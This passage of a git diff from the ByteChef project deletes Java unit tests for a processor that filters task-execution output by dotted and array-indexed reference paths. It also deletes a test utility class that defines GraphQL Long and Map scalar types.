-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                assertThat(filteredOutput).containsKey("response");
-                assertThat(filteredOutput).containsKey("meta");
-
-                Map<String, Object> responseMap = (Map<String, Object>) filteredOutput.get("response");
-
-                assertThat(responseMap).containsEntry("lastname", "Doe");
-                assertThat(responseMap).doesNotContainKey("firstname");
-
-                Map<String, Object> metaMap = (Map<String, Object>) filteredOutput.get("meta");
-
-                assertThat(metaMap).containsEntry("more_info", "info@test.com");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS,
-            Set.of("response.lastname", "meta.more_info"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessFiltersSingleLevelPropertyPaths() {
-        Map<String, Object> fullOutput = Map.of(
-            "name", "John Doe",
-            "status", "active",
-            "age", 30,
-            "email", "john@test.com");
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                assertThat(filteredOutput).containsEntry("name", "John Doe");
-                assertThat(filteredOutput).containsEntry("status", "active");
-                assertThat(filteredOutput).doesNotContainKey("age");
-                assertThat(filteredOutput).doesNotContainKey("email");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS, Set.of("name", "status"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessFiltersWithArrayValueAtLeaf() {
-        Map<String, Object> fullOutput = Map.of(
-            "tags", List.of("tag1", "tag2", "tag3"),
-            "response", Map.of("items", List.of("a", "b"), "count", 2),
-            "unused", "data");
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                assertThat(filteredOutput).containsEntry("tags", List.of("tag1", "tag2", "tag3"));
-
-                Map<String, Object> responseMap = (Map<String, Object>) filteredOutput.get("response");
-
-                assertThat(responseMap).containsEntry("items", List.of("a", "b"));
-                assertThat(responseMap).doesNotContainKey("count");
-                assertThat(filteredOutput).doesNotContainKey("unused");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS, Set.of("tags", "response.items"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessFiltersWithNonExistentPath() {
-        Map<String, Object> fullOutput = Map.of(
-            "response", Map.of("lastname", "Doe"));
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                assertThat(filteredOutput).containsKey("response");
-
-                Map<String, Object> responseMap = (Map<String, Object>) filteredOutput.get("response");
-
-                assertThat(responseMap).containsEntry("lastname", "Doe");
-                assertThat(filteredOutput).doesNotContainKey("nonexistent");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS,
-            Set.of("response.lastname", "nonexistent.field"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessFiltersDeeplyNestedPaths() {
-        Map<String, Object> fullOutput = Map.of(
-            "response", Map.of(
-                "contact", Map.of(
-                    "address", Map.of("city", "New York", "zip", "10001"),
-                    "phone", "555-1234")),
-            "meta", Map.of("status", "ok"));
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                Map<String, Object> responseMap = (Map<String, Object>) filteredOutput.get("response");
-                Map<String, Object> contactMap = (Map<String, Object>) responseMap.get("contact");
-                Map<String, Object> addressMap = (Map<String, Object>) contactMap.get("address");
-
-                assertThat(addressMap).containsEntry("city", "New York");
-                assertThat(addressMap).doesNotContainKey("zip");
-                assertThat(contactMap).doesNotContainKey("phone");
-                assertThat(filteredOutput).doesNotContainKey("meta");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS,
-            Set.of("response.contact.address.city"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessFiltersPrimitiveValues() {
-        Map<String, Object> fullOutput = Map.of(
-            "count", 42,
-            "active", true,
-            "ratio", 2.75,
-            "name", "test",
-            "unused", "data");
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                assertThat(filteredOutput).containsEntry("count", 42);
-                assertThat(filteredOutput).containsEntry("active", true);
-                assertThat(filteredOutput).containsEntry("ratio", 2.75);
-                assertThat(filteredOutput).doesNotContainKey("name");
-                assertThat(filteredOutput).doesNotContainKey("unused");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS,
-            Set.of("count", "active", "ratio"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessFiltersWithArrayIndexedPaths() {
-        Map<String, Object> fullOutput = Map.of(
-            "items", List.of(
-                Map.of("name", "First", "value", 10),
-                Map.of("name", "Second", "value", 20)),
-            "response", Map.of(
-                "elements", List.of(
-                    Map.of("propBool", true, "propNumber", 3.5))),
-            "unused", "data");
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                assertThat(filteredOutput).containsKey("items");
-                assertThat(filteredOutput.get("items")).isInstanceOf(List.class);
-
-                List<Object> itemsList = (List<Object>) filteredOutput.get("items");
-
-                assertThat(itemsList).hasSize(2);
-
-                Map<String, Object> firstItem = (Map<String, Object>) itemsList.get(0);
-
-                assertThat(firstItem).containsEntry("name", "First");
-                assertThat(firstItem).doesNotContainKey("value");
-
-                assertThat(itemsList.get(1)).isNull();
-
-                assertThat(filteredOutput).containsKey("response");
-
-                Map<String, Object> responseMap = (Map<String, Object>) filteredOutput.get("response");
-
-                assertThat(responseMap).containsKey("elements");
-                assertThat(responseMap.get("elements")).isInstanceOf(List.class);
-
-                List<Object> elementsList = (List<Object>) responseMap.get("elements");
-
-                assertThat(elementsList).hasSize(1);
-
-                Map<String, Object> firstElement = (Map<String, Object>) elementsList.get(0);
-
-                assertThat(firstElement).containsEntry("propBool", true);
-
-                assertThat(filteredOutput).doesNotContainKey("unused");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS,
-            Set.of("items[0].name", "response.elements[0].propBool"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-
-    @Test
-    void testProcessPassesThroughWhenOutputIsList() {
-        FileEntry outputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(outputFileEntry)).thenReturn(List.of("item1", "item2"));
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(outputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS, Set.of("response.lastname"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        MessageEvent<?> result = processor.process(event);
-
-        assertThat(result).isSameAs(event);
-        assertThat(taskExecution.getOutput()).isSameAs(outputFileEntry);
-
-        verify(taskFileStorage, never()).storeTaskExecutionOutput(anyLong(), anyLong(), any());
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessFiltersWithOverlappingParentAndChildPaths() {
-        Map<String, Object> fullOutput = Map.of(
-            "response", Map.of("lastname", "Doe", "firstname", "John", "age", 30),
-            "unused", "data");
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                assertThat(filteredOutput).containsKey("response");
-
-                Map<String, Object> responseMap = (Map<String, Object>) filteredOutput.get("response");
-
-                assertThat(responseMap).containsEntry("lastname", "Doe");
-                assertThat(responseMap).containsEntry("firstname", "John");
-                assertThat(responseMap).containsEntry("age", 30);
-                assertThat(filteredOutput).doesNotContainKey("unused");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS,
-            Set.of("response", "response.lastname"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessFiltersWithMultiBracketIndexedPaths() {
-        Map<String, Object> fullOutput = Map.of(
-            "conditions", List.of(
-                List.of(
-                    Map.of("value", "first", "type", "text"),
-                    Map.of("value", "second", "type", "number")),
-                List.of(
-                    Map.of("value", "third", "type", "bool"))));
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                assertThat(filteredOutput).containsKey("conditions");
-                assertThat(filteredOutput.get("conditions")).isInstanceOf(List.class);
-
-                List<Object> conditionsList = (List<Object>) filteredOutput.get("conditions");
-
-                assertThat(conditionsList).hasSize(2);
-
-                Object firstRow = conditionsList.get(0);
-
-                assertThat(firstRow).isInstanceOf(List.class);
-
-                List<Object> firstRowList = (List<Object>) firstRow;
-
-                assertThat(firstRowList).hasSize(2);
-
-                Map<String, Object> secondElement = (Map<String, Object>) firstRowList.get(1);
-
-                assertThat(secondElement).containsEntry("value", "second");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS,
-            Set.of("conditions[0][1].value"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-
-    @Test
-    @SuppressWarnings("unchecked")
-    void testProcessNormalizesParentPathCoveringBracketChildPaths() {
-        Map<String, Object> fullOutput = Map.of(
-            "items", List.of(
-                Map.of("name", "First", "value", 10),
-                Map.of("name", "Second", "value", 20)),
-            "unused", "data");
-
-        FileEntry originalOutputFileEntry = mock(FileEntry.class);
-        FileEntry filteredOutputFileEntry = mock(FileEntry.class);
-
-        when(taskFileStorage.readTaskExecutionOutput(originalOutputFileEntry)).thenReturn(fullOutput);
-        when(taskFileStorage.storeTaskExecutionOutput(anyLong(), anyLong(), any()))
-            .thenAnswer(invocation -> {
-                Map<String, Object> filteredOutput = (Map<String, Object>) invocation.getArgument(2);
-
-                assertThat(filteredOutput).containsKey("items");
-
-                List<Object> itemsList = (List<Object>) filteredOutput.get("items");
-
-                assertThat(itemsList)
-                    .isEqualTo(List.of(
-                        Map.of("name", "First", "value", 10),
-                        Map.of("name", "Second", "value", 20)));
-                assertThat(filteredOutput).doesNotContainKey("unused");
-
-                return filteredOutputFileEntry;
-            });
-
-        TaskExecution taskExecution = TaskExecution.builder()
-            .id(1L)
-            .jobId(100L)
-            .workflowTask(
-                new WorkflowTask(
-                    Map.of(WorkflowConstants.NAME, "accelo_1", WorkflowConstants.TYPE, "accelo/v1/createContact",
-                        WorkflowConstants.PARAMETERS, Map.of())))
-            .build();
-
-        taskExecution.setOutput(originalOutputFileEntry);
-        taskExecution.putMetadata(MetadataConstants.OUTPUT_REFERENCE_PATHS,
-            Set.of("items", "items[0].name"));
-
-        TaskExecutionCompleteEvent event = new TaskExecutionCompleteEvent(taskExecution);
-
-        processor.process(event);
-    }
-}
diff --git a/server/libs/test/test-int-support/src/main/java/com/bytechef/test/config/graphql/GraphQLScalarTypes.java b/server/libs/test/test-int-support/src/main/java/com/bytechef/test/config/graphql/GraphQLScalarTypes.java
deleted file mode 100644
index da1aab46b77..00000000000
--- a/server/libs/test/test-int-support/src/main/java/com/bytechef/test/config/graphql/GraphQLScalarTypes.java
+++ /dev/null
@@ -1,215 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.test.config.graphql;
-
-import graphql.language.ArrayValue;
-import graphql.language.BooleanValue;
-import graphql.language.FloatValue;
-import graphql.language.IntValue;
-import graphql.language.NullValue;
-import graphql.language.ObjectField;
-import graphql.language.ObjectValue;
-import graphql.language.StringValue;
-import graphql.language.Value;
-import graphql.schema.Coercing;
-import graphql.schema.CoercingParseLiteralException;
-import graphql.schema.CoercingParseValueException;
-import graphql.schema.CoercingSerializeException;
-import graphql.schema.GraphQLScalarType;
-import java.math.BigInteger;
-import java.time.Instant;
-import java.util.LinkedHashMap;
-import java.util.Map;
-import java.util.stream.Collectors;
-
-/**
- * Utility class providing shared GraphQL scalar type definitions for test configurations.
- *
- * @author Ivica Cardic
- */
-public final class GraphQLScalarTypes {
-
-    private GraphQLScalarTypes() {
-    }
-
-    public static GraphQLScalarType longScalar() {
-        return GraphQLScalarType.newScalar()
-            .name("Long")
-            .description("A Long scalar that represents a 64-bit signed integer")
-            .coercing(new Coercing<Long, Long>() {
-
-                @Override
-                public Long serialize(Object dataFetcherResult) throws CoercingSerializeException {
-                    if (dataFetcherResult instanceof Long) {
-                        return (Long) dataFetcherResult;
-                    }
-
-                    if (dataFetcherResult instanceof Number) {
-                        return ((Number) dataFetcherResult).longValue();
-                    }
-
-                    if (dataFetcherResult instanceof Instant) {
-                        return ((Instant) dataFetcherResult).toEpochMilli();
-                    }
-
-                    if (dataFetcherResult instanceof String) {
-                        try {
-                            return Long.parseLong((String) dataFetcherResult);
-                        } catch (NumberFormatException exception) {
-                            throw new CoercingSerializeException(
-                                "Expected a Long value but was: " + dataFetcherResult, exception);
-                        }
-                    }
-
-                    throw new CoercingSerializeException("Expected a Long object but was: " + dataFetcherResult);
-                }
-
-                @Override
-                public Long parseValue(Object input) throws CoercingParseValueException {
-                    if (input instanceof Long) {
-                        return (Long) input;
-                    }
-
-                    if (input instanceof Number) {
-                        return ((Number) input).longValue();
-                    }
-
-                    if (input instanceof String) {
-                        try {
-                            return Long.parseLong((String) input);
-                        } catch (NumberFormatException exception) {
-                            throw new CoercingParseValueException(
-                                "Expected a Long value but was: " + input, exception);
-                        }
-                    }
-
-                    throw new CoercingParseValueException("Expected a Long object but was: " + input);
-                }
-
-                @Override
-                public Long parseLiteral(Object input) throws CoercingParseLiteralException {
-                    if (input instanceof IntValue) {
-                        BigInteger bigInteger = ((IntValue) input).getValue();
-
-                        return bigInteger.longValue();
-                    }
-
-                    if (input instanceof StringValue) {
-                        try {
-                            return Long.parseLong(((StringValue) input).getValue());
-                        } catch (NumberFormatException exception) {
-                            throw new CoercingParseLiteralException(
-                                "Expected a Long value but was: " + input, exception);
-                        }
-                    }
-
-                    throw new CoercingParseLiteralException("Expected an IntValue or StringValue but was: " + input);
-                }
-            })
-            .build();
-    }
-
-    public static GraphQLScalarType mapScalar() {
-        return GraphQLScalarType.newScalar()
-            .name("Map")
-            .description("A map scalar that represents a JSON object")
-            .coercing(new Coercing<Map<String, Object>, Map<String, Object>>() {
-
-                @Override
-                @SuppressWarnings("unchecked")
-                public Map<String, Object> serialize(Object dataFetcherResult) throws CoercingSerializeException {
-                    if (dataFetcherResult instanceof Map) {
-                        return (Map<String, Object>) dataFetcherResult;
-                    }
-
-                    throw new CoercingSerializeException("Expected a Map object");
-                }
-
-                @Override
-                @SuppressWarnings("unchecked")
-                public Map<String, Object> parseValue(Object input) throws CoercingParseValueException {
-                    if (input instanceof Map) {
-                        return (Map<String, Object>) input;
-                    }
-
-                    throw new CoercingParseValueException("Expected a Map object");
-                }
-
-                @Override
-                public Map<String, Object> parseLiteral(Object input) throws CoercingParseLiteralException {
-                    if (input instanceof ObjectValue objectValue) {
-                        return parseObjectValue(objectValue);
-                    }
-
-                    if (input instanceof StringValue) {
-                        return parseValue(((StringValue) input).getValue());
-                    }
-
-                    throw new CoercingParseLiteralException("Expected an ObjectValue or StringValue");
-                }
-
-                private Map<String, Object> parseObjectValue(ObjectValue objectValue) {
-                    Map<String, Object> result = new LinkedHashMap<>();
-
-                    for (ObjectField field : objectValue.getObjectFields()) {
-                        result.put(field.getName(), parseLiteralValue(field.getValue()));
-                    }
-
-                    return result;
-                }
-
-                private Object parseLiteralValue(Value<?> value) {
-                    if (value instanceof StringValue stringValue) {
-                        return stringValue.getValue();
-                    }
-
-                    if (value instanceof IntValue intValue) {
-                        return intValue.getValue()
-                            .intValue();
-                    }
-
-                    if (value instanceof FloatValue floatValue) {
-                        return floatValue.getValue()
-                            .doubleValue();
-                    }
-
-                    if (value instanceof BooleanValue booleanValue) {
-                        return booleanValue.isValue();
-                    }
-
-                    if (value instanceof NullValue) {
-                        return null;
-                    }
-
-                    if (value instanceof ObjectValue objectValue) {
-                        return parseObjectValue(objectValue);
-                    }
-
-                    if (value instanceof ArrayValue arrayValue) {
-                        return arrayValue.getValues()
-                            .stream()
-                            .map(this::parseLiteralValue)
-                            .collect(Collectors.toList());
-                    }
-
-                    return value.toString();
-                }
-            })
-            .build();
-    }
-
-}